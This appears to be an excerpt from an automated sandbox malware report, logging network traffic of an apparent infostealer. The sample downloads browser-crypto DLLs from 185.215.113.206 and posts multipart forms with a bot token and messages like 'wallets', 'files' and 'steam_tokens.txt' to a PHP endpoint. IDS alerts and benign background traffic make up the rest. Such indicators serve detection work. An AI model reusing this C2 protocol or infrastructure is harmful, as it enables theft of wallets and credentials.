Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="message"wallets------IDBAKKECAEGCAKFIIIDH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKFBFCGIEHIDGCFBFBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 2d 2d 0d 0a Data Ascii: ------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="message"files------GCBKFBFCGIEHIDGCFBFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="file"------AAKEGIJEHJDGDHJKJKKJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"ybncbhylepme------DHCAECGIEBKJKEBGDHDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFIIIJJKJJKEBGIDGCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 2d 2d 0d 0a Data Ascii: ------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJKFIIIJJKJJKEBGIDGC--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49870 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49980 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50022 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ARuTudAlnsXgzZX&MD=6sYb+Cwm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
